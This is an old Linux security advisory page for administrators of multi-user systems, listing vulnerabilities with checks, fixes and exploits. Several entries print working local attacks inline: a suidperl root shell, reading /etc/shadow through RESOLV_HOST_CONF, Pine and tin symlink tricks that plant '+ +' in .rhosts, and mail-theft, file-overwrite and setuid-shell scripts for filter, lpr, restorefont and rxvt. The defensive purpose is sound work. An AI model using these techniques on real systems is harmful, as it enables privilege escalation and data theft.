This section is geered for persons who have users on their machines other than themselves. It is required that the reader has read and understood the section 'Barbarians at the Gate'.
--------------------------------------------------------------------------------
If you can not already tell, this section is stale!!! These bugs are old, and you should not just use this page to protect your system, although he rest of the site is still good. If need to be kept up on security problems as they occure, you should read Bugtraq or goto Root Shell.
---------------------------------------------------------------------------------
Name:
libc PRE 5.4.38

Result:
Local users can gain root access.

Effected?:
as root do "ldconfig -v | grep libc" and if you version of libc is PRE 5.4.38, then your in trouble.

Description:
There is a buffer overflow in some code in Libc 5.4.38. If a SUID root program uses this code then, it is possiable for an attacker to gain root access.

The Quick fix:
None.

The Long Term Fix:
Goto sunsite Linux Libs directory (PLEASE, GOTO A MIRROR IF YOUR NOT ON THE EAST COAST) and get the latest libc

The Exploit:
0528


Name:
sperl 5.003

Result:
Local uses can gain root access.

Effected:
Have spearl 5.003 SUID root?

Description:
There is YET another buffer overflow in spearl 5.003. This looks like it is fixed in spearl 5.004. However, you should not even have this SUID root.

The Quick Fix:
chmod 500 `whereis sperl5.003`

The Term Fix:
goto www.perl.org and tackdown the latest version.

The Exploit:
perlExploit2.perl


Name:
Request-routed/Kerneld
Result:
Users may overwrite any file they wish.

Effected?:
This is used for PPP and having a connection established.

Description:
request-route is a script that gets a connect when kerneld gets a request for a route request. The script is executed, creates a lock file in /tmp and tries to connect via PPP (Or whatever you use). The problem is that request-route does not check to see if the lock file already exists. So create a symlink /tmp/request-route to whatever file you want, and request-route (IE: Telnet). If set up for use, it will use the script and thus do the evil stuff. I believe this should be rare, but you never know.

The Quick fix:
rm -f /sbin/request-route

The Long Term Fix:
Download, configure, compile and install diald. Diald is a real good connect on demand program.


Name:
ld.so pre 1.9.3

Result:
Local users may gain root access.

Requirements:
Just have Linux and wrong version of ld.so.

Effected?:
'ls -la /lib/ld.so.1.9.2' or earlier.

Description:
ld.so makes sure that the proper libs are loaded when a program needs them. As for this exploit this is pretty bad. There is really no defense agaist this if you have the bad ld.so. My suggestion is to upgrade right away. This is more or less a buffer overflow.

The Quick fix:
ld.so-1.9.3.tar.gz

The Long Term Fix:
See above.

The Exploit:
ld.so.1.9.2.c


Name:
smbmount from smbfs-2.0.1

Result:
Local users can gain root access.

Requirements:
Have installed the Samba File System 2.0.1 package.

Effected?:
This pack is not found on slackware, but it is a common package since it lets people run Windows systems from thier Unix Boxes.

Description:
A typical buffer overflow.

The Quick fix:
do a 'chmod 555 /usr/sbin/smbmount' (Default location)

The Long Term Fix:
Download smbfs-2.0.2 configure, compile and install.

The Exploit:
smbmount.c


Name:
/dev/psaux

Result:
Cat some crap to it and your keyboard will lock up!

Requirements:
Slackware 3.2 or earlier

Effected?:
Well, I don't know if this is fixed in the kernel or not, or which versions.

Description:
/dev/psaux is world writeable, and when it gets too much data, it locks the keyboard up. This is the device that handles PS/2 Mouse. If you change the permissions, I have no idea what it would do.

The Quick fix:
chmod 660 /dev/psaux

The Long Term Fix:
Wait till a kernel comes out that protects that device or remove the permissions.

The Exploit:
cat /bin/bash > /dev/psaux
[CTRL-C]


Name:
Lynx 2.7.1 or earlier

Result:
A user using Lynx can have their files over written by a another user.

Requirements:
A user must be web surfing with lynx, download a file and another user must know this (Do a ps -aux).

Effected?:
Have Lynx 2.7.1 or earlier?

Description:
When Lynx downloads a file, it writes the file to a temp file in the temp directory. However, the file name of the temp file is easily guessed. So if someone is surfing, a user could create a link to from the temp file to one of the victums files. The downloaded data could trash a victums file, or worse yet, a truely evil person could figure out how to have it cat comething to the victums .rhosts file.

The Quick fix:
Disable Lynx 2.7.1 or earlier or set the enviroment to dump the temp file to the users $HOME.

The Long Term Fix:
Download the update for Lynx and configure, compile and install. Here is the Lynx homepage or set the LYNX_TEMP_SPACE to your home directory to keep people from abusing it.


[Sat May 17 20:30:10 PDT 1997]
Name:
Color Xterm. My 1.222 Color Xterm from Slackware 3.1/3.2 was vulnerable"

Result:
Local users can gain root access.

Requirements:
Have this SUID root.

Description:
There is a buffer overflow in Color XTerm, its SUID root. Yawn.....

The Quick fix:
chmod 555 /usr/X11/bin/color_xterm.

The Long Term Fix:
XFree86 3.3 fixes this problem.

The Exploit:
Color XtermExploit


[Sat May 17 20:30:10 PDT 1997]
Name:
cxterm (Chinese terminal emulator for the X Window System). Have no idea the version!

Result:
Localusers can gain root access.

Requirements:
Have this terminal emulator SUID root.

Description:
cxterm is a Chinese Terminal Emulator for Xwindows. Its SUID root so that it can write to the logs if it needs to.

The Quick fix:
chmod 500 /[Where ever this is]/cxterm.

The Long Term Fix:
XFree86 3.3 fixes this problem.

The Exploit:
CXT Exploit.c


[Sat May 17 20:30:10 PDT 1997]
Name:
Elm 2.4 PL25 and lower.

Result:
Local users can gain mail group access.

Requirements:
Have Elm installed and GUID mail (This is how it is installed by default)

Effected?:
Check out Elm and see if it the right version (elm -v) and see if it GUID mail.

Description:
Elm has buffer overflow in it. Thus a localuser with access to Elm can gain the group access mail. Although it does not sound like much, a user could get access to the mail system which can prove to be a not-so-fun situation for root. My Elm 2.4 PL25, of November 11, 1995 was vunerable.

The Quick fix:
chmod 500 /usr/bin/elm.

The Long Term Fix:
Get rid of it. From what I have been learning from the local System Admins here at Chico is that Elm is no longer being worked on. Someone hinted there might be a PL26, but I could not find it. I suggest you try a different mailer.

The Exploit:
Elm Exploit (Hold the Shift key when download this!)


[Sat Apr 26 19:00:00 PDT 1997]
Name:
xlock (4.01 and earlier(I think))

Result:
Local users can get root

Requirements:
Must have xlock SUID root.

Effected?:
Have you installed the XWindows package and have xlock SUID root? I have comfermed this exploit works for Slackware 3.0.

Description:
There is a buffer overflow in xlock that will localuser gain root access if the xlock is SUID root and is also executable by the user.
Xlock is used to lock your XWindows session when your not around. This program is widely used and in some organization very much needed to keep unwanted people from using someone else's X session. I suggest that if you use X in an enviroment where you might be afriad of people using your XWindows session while you away from your desk. If you don't already have this program, then I suggest you start using it! Of course, the no root shell giving version

The Quick fix:
chmod 555 /usr/X11/bin/xlock (That is where it usually is)

The Long Term Fix:
Download the latest verion of xlock-4.02.tgz, compile and install

The Exploit:
xlock-exploit.c
The Link:
Bugtraqs message 0113


[Mon Apr 14 11:22:15 PDT 1997]
Name:
sperl5.003

Result:
Local users can get root access.

Requirements:
sperl5.003 SUID root.

Effected?:
Do a "ls -la `whereis sperl`" to see if the version is correct and the permissions are also correct.

Description:
There is a buffer overflow in sperl5.003 that will let local users get root access. Really cool thing about this exploit that it uses a generic buffer overflow code, where you just tell it the offset for the stack frame and if your right, you get root (Assuming that there is a flaw in the program being attacked). With the script provided, the exploit hacks out the stack frame offset. If it fails, it adds one to the stack frame and tries again (Which is really cool!)
Below are two tgz files. One is a precompile binary file and the other is the source. I decided to keep them seperate because the source can be used to find many buffer overflows in many programs and the precompiled ones is only for sperl5.003 and sperl5.001. If you think there is a buffer overflow bug in a program, grab the sperl_spource.tgz and do the changes to make it use that program and see if it works. With the source for this exploit you could test alot of programs in a short amount of time without having to bother with the joy of writing an exploit for every program that you think needs testing.

The Quick fix:
chmod 500 sperl5.003. Take away that SUID root.

The Long Term Fix:
Get Perl WebPage and follow the instructions there.

The Thanks:
tarreau@aemiaif.ibp.fr for writting and supplying this!!!! Also, check out his web page on this bug, http://www-miaif.ibp.fr/~tarreau/security (You have to go to this web page!)

The Exploit:
Precompiled sperlexp.tgz
The sperlexp_source.tgz


[Mon Apr 14 21:19:35 PDT 1997]
Name:
nlspath bug

Result:
Local users can get root

Requirements:
Have libc 5.3.12 or earlier

Effected?:
Check them libc and see if it is 5.3.12 or earlier

Description:
There is a buffer overflow in a libc that be exploited by putting the stack overflow code in the enviroment. Then its just a matter running a program that uses the broken libc.

The Quick fix:
Upgrade that /lib/libc to the latest version.

The Long Term Fix:
See above.

The Exploit:
nlspath-exploit.c


[Mon Apr 14 21:19:35 PDT 1997]
Name:
SuperProbe

Result:
Localusers can get root access if SuperProbe is SUID root.

Requirements:
SuperProbe SUID root.

Effected?:
This comes with the Xfree packages and if you don't have Xwindows, then don't worry about it.

Description:
A typical buffer overflow in a program that is SUID, which to remind all of you programers out there, that IT SHOULD NOT BE SUID ROOT!!!!!!!

The Quick fix:
Simply remove the SUID bits and get on with your life

The Long Term Fix:
See Above!

The Exploit:
Super Probe Exploit


[Thu Feb 6 16:41:24 PST 1997]
Name:
rlogind

Result:
Local users can get root access.

Requirements:
rlogind from Netkit 7B or earlier and have it it enabled in inetd.conf.

Effected?:
If you run (more or less) any disturbution of Linux and have not upgraded to or past Netkit 8, then you are in trouble.

Description:
rlogind uses the enviromental variable TERM, but does not check the bounds of the array it goes into. Thus, an overflow the stack and rewrite the stack exploit can used to gain root access. Note, the age of this hole. It came out recently but it has been fixed in the NetkitB for sometime now. So if you have not upgraded to the latest Netkit then do so!

The Quick fix:
Disable rlogind in /etc/inetd.conf and then restart inetd (kill -HUP < PID of inetd> )

The Long Term Fix:
Download the latest rlogind; configure, compile and install.

The Link:
The Cert Addvisor CA-97.06

The Extra:
An Rlogin Wrapper! (Well, this is worthless if you have the upgraded rlogind.)


[Wed Feb 5 12:20:20 PST 1997]
Name:
bliss simi-virus (trojan?)

Result:
Infected programs will not run.

Requirements:
Download Binary programs that are infected and run them.

Effected?:
Well, do you ever download pre-compiled programs?

Description:
Well, some knucklehead has made a virus for Linux, however, it is rather easy to protect agaist by following some simple rules.
1) Do not download pre-compiled binaries and run them as root or any other privilaged user.
2) Do not let any user write binary files that other users can run.
3) Do not let any user write binary files that root will run.
4) Keep MD5 checks of all your files (See Tripwire), and check those files depending on the volume of your system.

This virus can not spread quickly if you make sure it never runs as root. When the virus runs as a normal user, it can access whatever the user can access and write to. So as you can see it is very limited. If this virus gets ran as root, forget it. Format and reinstall from your back ups. God knows what it can do. It also looks like it attempts to spread itself by using rcp to copy itself within a network onto other computers.

On the good side, the virus is a proto-type that got away and thus has some functions that let you know when it is infecting the system. Look in the /tmp directory and check for a file called .bliss. If you have a file called that, then your system is infected.

The Quick fix:
Check for /tmp/.bliss and then read it. Disable (chmod 000 file) any file in that list.

The Long Term Fix:
From what I have learned so far you can run the infected file with the --bliss-uninfect-files-please command switch and it will disinfect the file completely. Look in /tmp/.bliss for a list of infected files.

The Virus:
bliss.virus. I have left the posting of the virus writer in its orginal condition to keep know-nothing losers from spreading this thing. Read this to see how to get it to run.


[Fri Jan 24 16:49:12 PST 1997]
Name:
/usr/adm/messages

Result:
Local users can get other users passwords.

Requirements:
A person to make a mistake and a /usr/adm/messages set with a read permissions for 'other'. Probably a lot of distributions on Linux.

Description:
If a user makes a mistake and types their password as their login name (We have all done that before!), it will show up as a login error in /usr/adm/messages. When the user sees that they have logged in incorrectly they will just login as they should. That mistake then can be viewed by other users and used to login as that person whom made the mistake.

The Quick fix:
Remove any read permissions for /usr/adm/messages to keep users from reading /usr/adm/messages. Set it readable only for root.

The Long Term Fix:
See above and inform your users not to type their password unless prompted by the systems (IE: Don't get into Auto Login Mode)

The Exploit:
As a normal user: more /usr/adm/messages
If you can read the /usr/adm/messages file then you are vulerable.


[Fri Jan 24 16:49:12 PST 1997]
Name:
vixie Crontab

Result:
Local users can get root.

Requirements:
Have vixie version of Crontab and have it SUID root and excutable by localusers on a Red Hat Linux 4.0?

Effected?:
Have RedHat Linux 4.0?

Description:
RedHat 4.0 uses a crontab program that has buffer that can be overflowed and the stack rewritten.

The Quick fix:
Disable Crontab or remove the SUID root privilages.

The Long Term Fix:
Upgrade Crontab to the newest version from Red Hat Software

The Exploit:
vixie.crontab.exploit.c

The Links:
AUSCERT.96.21


[Fri Jan 24 16:49:12 PST 1997]
Name:
Adduser.pl that comes with Shadow in a Box 1.1 or earlier

Result:
Adduser script does not create random enough Salts for encrypted password entries in the passwd file.

Requirements:
Have added users with adduser.pl
Description:
Salts are are small variations in encrypted password entries that give them a wide varition. Without Salts, passwords could be very quickly cracked (Much faster than now.). There are 4096 differnt Salts, so a word can be encrypted 4096 different ways, it becomes obvious that you would want a deverse pattern of Salts for your encrpted password entries in your passwd file. However, there is a flaw in adduser.pl that does not create a truely random Salt generation. So if you were to group encrypted password entries by their Salts you should have a random pattern. Adduser.pl makes Salts, when grouped, look like a bell curve. Programs like Crack 5.0a can use this to its advantage to crack your passwords (Assuming someone has their hands on you passwd file) faster than it usually would.

The Quick fix:
None.

The Long Term Fix:
Get Shadow in a Box 1.2.1 or greater and then get the adduser.pl from it, protect your passwd file, and get/force users to have great passwords.

The Exploit:
None(!?!?!?!).

The Link:
Weakness in some linux versions of adduser.


Name:
lpr

Result:
Local Users can gain root access

Requirements:
Berkeley lpr (Version unknown at this point, someone tell me!) SUID root

Effected?:
Do "ls -la /usr/bin/lpr" and if the protection bits let a user execute it with protection bits SUID root (sr-w--x--x).

Description:
There is an array in some of the code that can be overflowed and the stack rewritten (*sigh*), thus a root shell can be given. This has been confermed on a Non-Upgraded 2.3, 3.0 Slackware systems and Slackware 96. Most likely it will be found on all distibutions of Linux.

The Quick fix:
chmod 500 /usr/bin/lpr (No one can print then).

The Long Term Fix:
Get the source and apply this patch (Untested and an unconventional patch) or download the new lpr.

The Exploit:
lpr.exploit.c

The Link:
Bugtraqs message 0151.html.


Name:
Symlinks (ln -s file link.to)

Result:
Users on the system can delete any file they know about.

Requirements:
The user has to be able to make alot of directories inside themselves and have the a root program running that accesses files (Deletes, writes)(See The Links).

Description:
Linux does not do proper checking on who owns what past a certain level of directories (Like /tmp/a/a/a/a/a/a/a/a...[400 or so directories]..a/a/a/a/a/a/etc/ -> passwd). Some parts of Linux have problems with levels that deep, so files maybe deleted if a program, such as find and rm (Used together) is ran by root. This is also a denial of service attack because of the amount time Linux spends looking into all of those directories.

The Quick fix:
Remove all thoses rm, finds, zips, tar, and like commands from /usr/spool/cron/root and get this Garbage Collector (filereaper.txt) if you need to automagically delete files from /tmp.

The Long Term Fix:
There is now a patch for the 2.0.22 (Maybe works with .20 or .21 kernels and I do not know if this patch is in the 2.0.23 or greater source tree).

The Links:
You should really read the follow ups on this if your at all worried about this.
[linux-security] Things NOT to put in root's crontab
and
fix for symlinks in /tmp
There is a whole thread on this topic, very interesting.


Name:
libresolv+
Result:
Local users may read any file on the system.
Requirements:
Combination of the Following: pre-libc.so.5.4.7, ping, traceroute, finger, ssh. All must be SUID root.

Effected?:
See exploit below. Any SUID root program that uses the effected code in /lib/libc.so.X.X.X. If your shadow password file whizzes by; then your effected.

Description:
There is a bug in the pre-5.4.7 libraries that lets the users of ssh (Secure Shell), ping, traceroute, finger and some cases Sendmail to specify a HOSTS file to use instead of the regular /etc/hosts. When the effected program is ran, it spits out errors relating to the new 'HOSTS' file and that file. This problem is not strict to the RESOLV_HOST_CONFIG, there are LOTS of stuff one could do to exploit something like this. See the The Link below.

The Quick fix:
Disable ping, ssh, traceroute, and finger.

The Long Term Fix:
Get the latest and stablest libc, configure and install. Also get the latest NetKit B. Side note: This is one of many holes fixed with an upgrade to the latest libc

The Exploit:
Type all of the commands below, must be in the bash shell, but this can also work for other shells.

 export RESOLV_HOST_CONF=/etc/shadow; ssh asdf
 export RESOLV_HOST_CONF=/etc/shadow; ping asdf
 export RESOLV_HOST_CONF=/etc/shadow; finger asdf
 export RESOLV_HOST_CONF=/etc/shadow; traceroute asdf
The Links:
v02.n066 of linux-security-digest

v02.n056 of linux-security-digest


Name:
Mount/umount 1.2 (Found in the util-linux 2.5 package).

Result:
Local user may gain root access.

Requirements:
Have mount or umount 1.2 SUID root.

Effected?:
You have Slackware 3.1 or 3.0 or Slackware derived systems, and have not upgraded your mount and have it SUID root.

Description:
Mount has array in it that does not checks for bounds overflow. Thus the buffer can be overflow and the stack rewritten.
There is no reason why mount should be SUID root. User with access to a mount SUID root can cause Kernel panics (This has happened to me with the 2.0.10 and earlier kernels), by giving mount wrong drive types.

The Quick fix:
chmod 500 /bin/mount.

The Long Term Fix:
Replace /bin/mount and /bin/umount with the latest version or chmod 500 /bin/mount and /bin/umount. The exploit for it only works if mount is SUID root.

The Exploit:
mountExp.c (Easily changed to attack umount).

v02.n044 of linux-security-digest (Look toward the bottom)

The Link:
v02.n057 of linux-security-digest


Name:
suidperl 5.001, also know as sperl5.001 (On my Slackware 3.0 based system).

Result:
Local users can gain root access

Requirements:
have suidperl/sperl 5.001 SUID root.

Effected?:
Have this program SUID root. Found on Slackware 3.0 and Slackware derived systems

Description:
There is problem with sperl that will give you a user a shell of the person that sperl SUID to, most of the time root.

The Quick fix:
chmod 555 sperl. Make sure to check all the links.

The Long Term Fix:
Upgrade sperl to 5.003 or later.

The Exploit: 

#!/usr/bin/perl -U

# root access on any SUID perl infected system......
# chmod 4755 this script and run it....

$ENV{PATH}="/bin:/usr/bin";
$>=0;$<=0;
exec("/bin/bash");
The Link:
CA-96.12.suidperl_vul


Name:
Pine 3.93 and earlier.

Result:
User can edit files own by the person reading main via Pine.

Requirements: Slackware 3.0, Slackware 3.1, and Slackware derived systems. Non-upgraded Red Hat systems.

Effected?:
Use Pine 3.93?

Description:
Pine creates a lock file in /tmp that is easily guessed and the premissions are set read/write for User, Group, Other. This the file can be linked to /$USER/.rhosts and then written too.

The Quick fix:
Disable Pine.

The Long Term Fix:
Upgrade Pine to 3.95 and patch Pine with the Security Patch that is included.

The Exploit:

  By watching the process table with ps to see which users are running PINE,
  one can then do an ls in /tmp/ to gather the lockfile names for each user.
  Watching the process table once again will now reveal when each user quits
  PINE or runs out of unread messages in their INBOX, effectively deleting
  the respective lockfile.

  Creating a symbolic link from /tmp/.hamors_lockfile to ~hamors/.rhosts
  (for a generic example) will cause PINE to create ~hamors/.rhosts as a 666
  file with PINE's process id as its contents.  One may now simply do an
  echo "+ +" > /tmp/.hamors_lockfile, then rm /tmp/.hamors_lockfile.

  For this example, hamors is the victim while catluvr is the attacker:

hamors (21 19:04) litterbox:~> pine

catluvr (6 19:06) litterbox:~> ps -aux | grep pine
catluvr   1739  0.0  1.8  100  356 pp3 S    19:07   0:00 grep pine
hamors    1732  0.8  5.7  249 1104 pp2 S    19:05   0:00 pine

catluvr (7 19:07) litterbox:~> ls -al /tmp/ | grep hamors
- - -rw-rw-rw-   1 hamors   elite           4 Aug 26 19:05 .302.f5a4

catluvr (8 19:07) litterbox:~> ps -aux | grep pine
catluvr   1744  0.0  1.8  100  356 pp3 S    19:08   0:00 grep pine

catluvr (9 19:09) litterbox:~> ln -s /home/hamors/.rhosts /tmp/.302.f5a4

hamors (23 19:09) litterbox:~> pine

catluvr (11 19:10) litterbox:~> ps -aux | grep pine
catluvr   1759  0.0  1.8  100  356 pp3 S    19:11   0:00 grep pine
hamors    1756  2.7  5.1  226  992 pp2 S    19:10   0:00 pine

catluvr (12 19:11) litterbox:~> echo "+ +" > /tmp/.302.f5a4

catluvr (13 19:12) litterbox:~> cat /tmp/.302.f5a4
+ +

catluvr (14 19:12) litterbox:~> rm /tmp/.302.f5a4

catluvr (15 19:14) litterbox:~> rlogin litterbox.org -l hamors
The Links:
v02.n061 of the Linux Security Digest.


Name:
wu-ftpd (pre 2.4??)

Result:
Users can deshadow the shadowed password file.
Requirements:
wu-ftpd (pre 2.4) and enabled in inetd.conf

Effected?:
Have the a pre 2.4 wu-ftpd installed, wu-ftpd enabled, /proc support, and shadow passwords installed.

Description:
wu-ftpd does not close the shadow password file after it checks a users password. Thus, wu-ftpd can be suspened and the user can see what files wu-ftpd has open and read them via /proc.

The Quick fix:
Disable wu-ftp (ftpshut now, or disable it in inetd.conf).

The Long Term Fix:
Download the very latest wu-ftpd (Its towards the bottom)
OR
Home of wu-ftpd

The Exploit:
Well, Not really an exploit, but its a walk through! wu-ftpdExploit.txt


Name:
At/atrun

Result:
Local Users may gain root access.

Requirements:
pre-2.7 version of the 'at' command.

Effected?:
If your at command is earlier that 2.7 ('at -V') or the /var/spool/atjobs is world executable then you are vulerable.

Description:
NONE, this was pulled from Linux-Alerts and they gave no discription of the hole.

The Quick fix:
chmod 700 /var/spool/atjobs will prevent non-root users from writing to the directory to explote the hole.

The Long Term Fix:
Upgrade the 'at' command to a version 2.7 or newer.

The Links:


Name:
Vacation

Result:
Unknown. It is beleived that it will trash mail of a person using vacation 1.0

Requirements:
A vacation 1.0 installed and in use by targeted user.

Effected?:
I don't know which distrubutions of Linux come with vacation. I was unable to find it on Slackware 3.0 and I believe it is only found older distrubutions of Linux (Slackware 2.0, 2.1, 2.3, and Slackware derived distrubutions)

Description:
Vacation is used to process mail for a person where they are on vacation. This program can be used with other programs or just by itself. Anyways, it seems that the 1.0 version lets you do calls to the system for it to execute commands that the user of vacation may not want executed. When these commands are executed, they are executed as that user.

The Quick fix:
Disable the use of vaction by everyone, including root.

The Long Term Fix:
A bug fix for vacation (Vacation 1.1) has been out for a very long time. It can be found at your local sunsite.unc.edu mirror.


Name:
Ghostscript 1.4

Result:
The user is vulnerable to attacks via Postscript code.

Requirements:
Ghostscript version 1.4

Effected?:
If you have Ghostscript 1.4 and use it print Postscript files, you maybe effected.

Description:
A problem with Ghostscript that it lets arbitrary commands be executed through the shell it is using. The commands maybe hidden in the Postscript code.

The Quick fix:
Disable Ghostscript to all users, including root.

The Long Term Fix:
Upgrade Ghostscript to the lastest version.


Name:
XFree86 3.1.2 servers

Result:
Local users may overwrite arbitrary files and read partal of others

Requirements:
XFree86 3.1.2 install and SUID root

Description:
XFree86 3.1.2 installs some of it programs (/usr/X11R6/bin/XF86_*) SUID root and it does not do proper file ownership checking. See The Exploit

The Quick fix:
Disable XFree 3.1.2

The Long Term Fix:
Upgrade XFree 3.1.2.

The Links:
www.xfree86.org

The Exploit: 
$ ls -l /var/adm/wtmp
- -rw-r--r--   1 root     root       174104 Dec 30 08:31 /var/adm/wtmp
$ ln -s /var/adm/wtmp /tmp/.tX0-lock
$ startx
(At this point exit X if it started, or else ignore any error messages)
$ ls -l /var/adm/wtmp
- -r--r--r--   1 root     root           11 Dec 30 08:33 /var/adm/wtmp


Name:
adduser 1.0

Result:
New users maybe given UID 0 (root).

Requirements:
The use of the adduser 1.0 script, and you have added alot of users to your system.

Effected?:
If you use adduser 1.0 and have add close to about 65 thousand people to your system (!!!!!).

Description:
The adduser script makes a mistake in deciding what UID to give. When system has added lot of users (LOTS!), then one time a new user maybe give the UID 0 (root). This script is old and is only found in old versions of Red Hat and Debian. The only reason that this is here is because I still manage to see it around.

The Quick fix:
Stop using adduser 1.0

The Long Term Fix:
There are a bunch of replacements for this script, and they're much better and are written in perl or C. Goto a sunsite.unc.edu mirror and find one. There is also a adduser like script in the Shadow-in-a-Box package.


Name:
tin 1.2

Result:
A person who uses tin can have their files permisions changed to Read/Write.

Requirements:
A person using tin, while the attacker is also logged on linking /tmp/.tin_log to the victums files.

Description:
There is a flaw in tin 1.2 that by default (I am not sure this is the default in the source or give to it by Linux Distrubution makers) that creates a log in /tmp, but the file can be Read and Written to. The attacker can delete the file and then replace it with a symlink to anyfile owned by the person using tin. Thus, .rhosts can be changed to a more attacker friendly permission bit.

The Quick fix:
Disable use of tin 1.2.

The Long Term Fix:
Upgrade tin to the very latest version


Name:
/usr/sbin/convfont

Result:
Users can add themselves to the /etc/passwd and /etc/Shadow files as whatever group they want to be.

Requirements:
Have convfont SUID root. Its in Slackware 2.0 and Slackware 3.0

Description:
Have sit down and figure it out. Have the exploit!

The Quick fix:
chmod 755 convfont

The Long Term Fix:
This program I think is part of the SVGALIB package from what the exploit says, there are many more programs like this. So download the latest SVGALIB package and install it.

The Exploit:
convfontExploit.sh


Name:
filter (From ELM 2.4 and earlier)

Result:
Mail can be read.

Requirements:
Local users read users mail.

Effected?:
Have Filter? Found on Slackware 3.0.

Description:
filter writes out the mail to be forwarded to a temporary file, which is then closed and reopened; if when the temporary file is reopened it is a symlink to a mail spool, filter will proceed to forward the contents of that file as if it was the original message.

The Quick fix:
Disable the use of filter by everyone.

The Long Term Fix:
Upgrade filter and/or ELM.

The exploit: 
fread.sh:
#!/bin/sh
echo 'if (always) forward' $LOGNAME > /tmp/fread-ftr.tmp
echo From: ReDragon > /tmp/fread-msg.tmp
echo To: $LOGNAME >> /tmp/fread-msg.tmp
echo Subject: Filter Exploit >> /tmp/fread-msg.tmp
echo sleep 2 > /tmp/fread-sh.tmp
echo cat /tmp/fread-msg.tmp >> /tmp/fread-sh.tmp
chmod +x /tmp/fread-sh.tmp
/tmp/fread-sh.tmp|filter -f /tmp/fread-ftr.tmp &
FREAD=`ps|grep 'filter -f'|grep -v grep|awk '{print $1}'`
rm -f /tmp/filter.$FREAD
ln -s /var/spool/mail/$1 /tmp/filter.$FREAD
sleep 2
rm -f /tmp/fread-ftr.tmp /tmp/fread-msg.tmp /tmp/fread-sh.tmp /tmp/fread-ftr.tmp /tmp/filter.$FREAD
FREAD=


Name:
FVWM 1.24

Result:
Users maybe able to execute commands as other users. If root uses FVWM, then execute commands as root.

Requirements:
FVWM 1.24

Effected?:
Have installed and use FVWM 1.24. This is found in old version of Red Hat and Slackware 3.0 and Slackware derived systems.

Description:
There is a race condition in FVWM 1.24 that can be exploited. There is an Exploit for this.

The Quick fix: 
     1./tmp directory should be owned by (root:root) with world-write,
       world-execute and world-read permissions. A sticky
       bit is required on this directory. 

       Use the following set of commands to change your /tmp directory parameters to
       conform with the requirements: 

                chown root.root /tmp    (make ownership (root:root))
                chmod 777 /tmp          (make protection mode 777)
                chmod +t /tmp           (place a sticky bit on)

     OR disable the use of FVWM.
The Long Term Fix:
Upgrade FVWM to the latest version.


Name:
resizeicons

Result:
Local users may gain root.

Requirements:
Redhat 2.1 and resizeicons SUID root.

Description:
resizeicons runs restoretextmode without an absolute pathname while executing as root, allowing a user to substitute the real program with arbitrary commands.

The Quick fix:
Disable resizeicons.

The Long Term Fix:
This is off an old version of Red Hat, but I think you can still get the patch from them.

The Exploit:
resizeConsExploit.txt


Name:
lpr (Line Printer Request).

Result:
Users can over write files not belonging to them nor that have access to.

Requirements:
lpr SUID root. Version unknown, exploit below.

Effected?:
Use Exploit below. I beleive this only effects old Linux systems; Slackware 2.0, 2.1, 2.2, 2.3 and derived systems.

Description:
Lpr uses a temp file to hold what it is going to print. This temp file is closed and thus can be deleted (Incorrect permission) and replaced the with a symlink to the file to be deleted. When the temp file is (I guess) printed, lpr attemps to remove, and thus removes the file pointed to by symlink. This would be classified as a race condition.

The Quick fix:
Disable the use of lpr.

The Long Term Fix:
Download the latest version of lpr.

The Exploit: 
#!/bin/csh -f
#
# Usage: lprcp from-file to-file
#
 
if ($#argv != 2) then
        echo Usage: lprcp from-file to-file
        exit 1
endif
 
# This link stuff allows us to overwrite unreadable files,
# should we want to.
echo x > /tmp/.tmp.$$
lpr -q -s /tmp/.tmp.$$
rm -f /tmp/.tmp.$$              # lpr's accepted it, point it
ln -s $2 /tmp/.tmp.$$           # to where we really want
 
@ s = 0
while ( $s != 999)              # loop 999 times
        lpr /nofile >&/dev/null # doesn't exist, but spins the clock!
        @ s++
        if ( $s % 10 == 0 ) echo -n .
end
lpr $1                          # incoming file
                                # user becomes owner
rm -f /tmp/.tmp.$$
exit 0


Name:
mailx 5.5

Result:
Mail can be read, edited and sent.

Requirements:
Victim must use mail as their mail reader (Very Rare).

Effected?:
Do 'mailx -version' to check your version. Mailx 5.5 is comes on Slackware 3.0.

Description:
A race condition exists in mailx. This is only exploitable with an exploit program, it occures much too fast to be done by hand.

The Quick fix:
Disable use of mailx 5.5.

The Long Term Fix: Upgrade mailx to a latest version.

The Exploit:
mailxExp.c


Name:
pop3d (/usr/sbin/in.pop3d)

Result:
This is up in the air, however I will clear this warning up when I sort them out. I believe there are two exploits for in.pop3d, 1) Person using pop3d to get mail can have their mail stolen. 2) A denial of service attack.

Requirements:
Slackware 3.0 with pop3 enabled.

Effected?:
Slackware 3.0 users without pop3d being upgraded.

Description:
A race condition occures in pop3d that is exactly like the above mailx5.5 bug. This requires a exploit(s) to used because the timing is just too fast for the human hand. Both exploits are below.

The Quick fix:
Disable the use of pop3d (IE. Comment it out of the /etc/inetd.conf and restart inetd)

The Long Term Fix:
Replace /usr/sbin/in.pop3d with Qualcoms qpopper. It is more robust and has better error logging.

The Exploits:
pop3dExploits.txt


Name:
restorefont

Result:
The first 8K of any file no smaller than 8K can be read.

Requirements:
The users at console and restorefont SUID root. Version unknown, exploit below.

Effected?:
restorefont SUID root and do you have users using Linux Consoles?

Description:
Restorefont can read in font files, but can be told to read in any file that the user does not have access to. The problem is restorefont does not change it own access to a lower level be reading font files, nor does it check to see if the user has the persmission to read the file.

The Quick fix:
Disable the use of restorefont.

The Long Term Fix:
Upgrade restorefont.

The Exploit: 
#rfbug.sh:
#!/bin/sh
restorefont -w /tmp/deffont.tmp
restorefont -r $1
restorefont -w $2
restorefont -r /tmp/deffont.tmp
rm -f /tmp/deffont.tmp

Name:
rxvt

Result:
Local users can gain root access.

Requirements:
Slackware 3.0, RedHat 2.1, others with rxvt suid root (and compiled with PRINT_PIPE). Exploit below.

Effected?:
Systems running rxvt SUID root.

Description:
rxvt fails to give up root privileges before opening a pipe to a program that can be specified by the user. It states quit clear in the makefile not to run this program SUID root.

The Quick fix:
chmod 555 rxvt

The Long Term Fix:
chmod 555 rxvt

The Exploit: 
1.  Set DISPLAY environment variable if necessary so you can use x clients.
2.  In user shell:
    $ echo 'cp /bin/sh /tmp/rxsh;chmod 4755 /tmp/rxsh' > /tmp/rxbug
    $ chmod +x /tmp/rxbug
    $ rxvt -print-pipe /tmp/rxbug
3.  In rxvt xclient:
    $ cat
      ESC[5i
      ESC[4i
    (The client will close at this point with a broken pipe)
4.  $ /tmp/rxsh
    # whoami
Name:
SIGURG

Result:
User can kill tasks not belong to them, any task, including root!

Requirements:
Linux Kernel 1.2.11 or earlier.

Effected?:
Any Linux system running 1.2.11 or earlier.

Description:
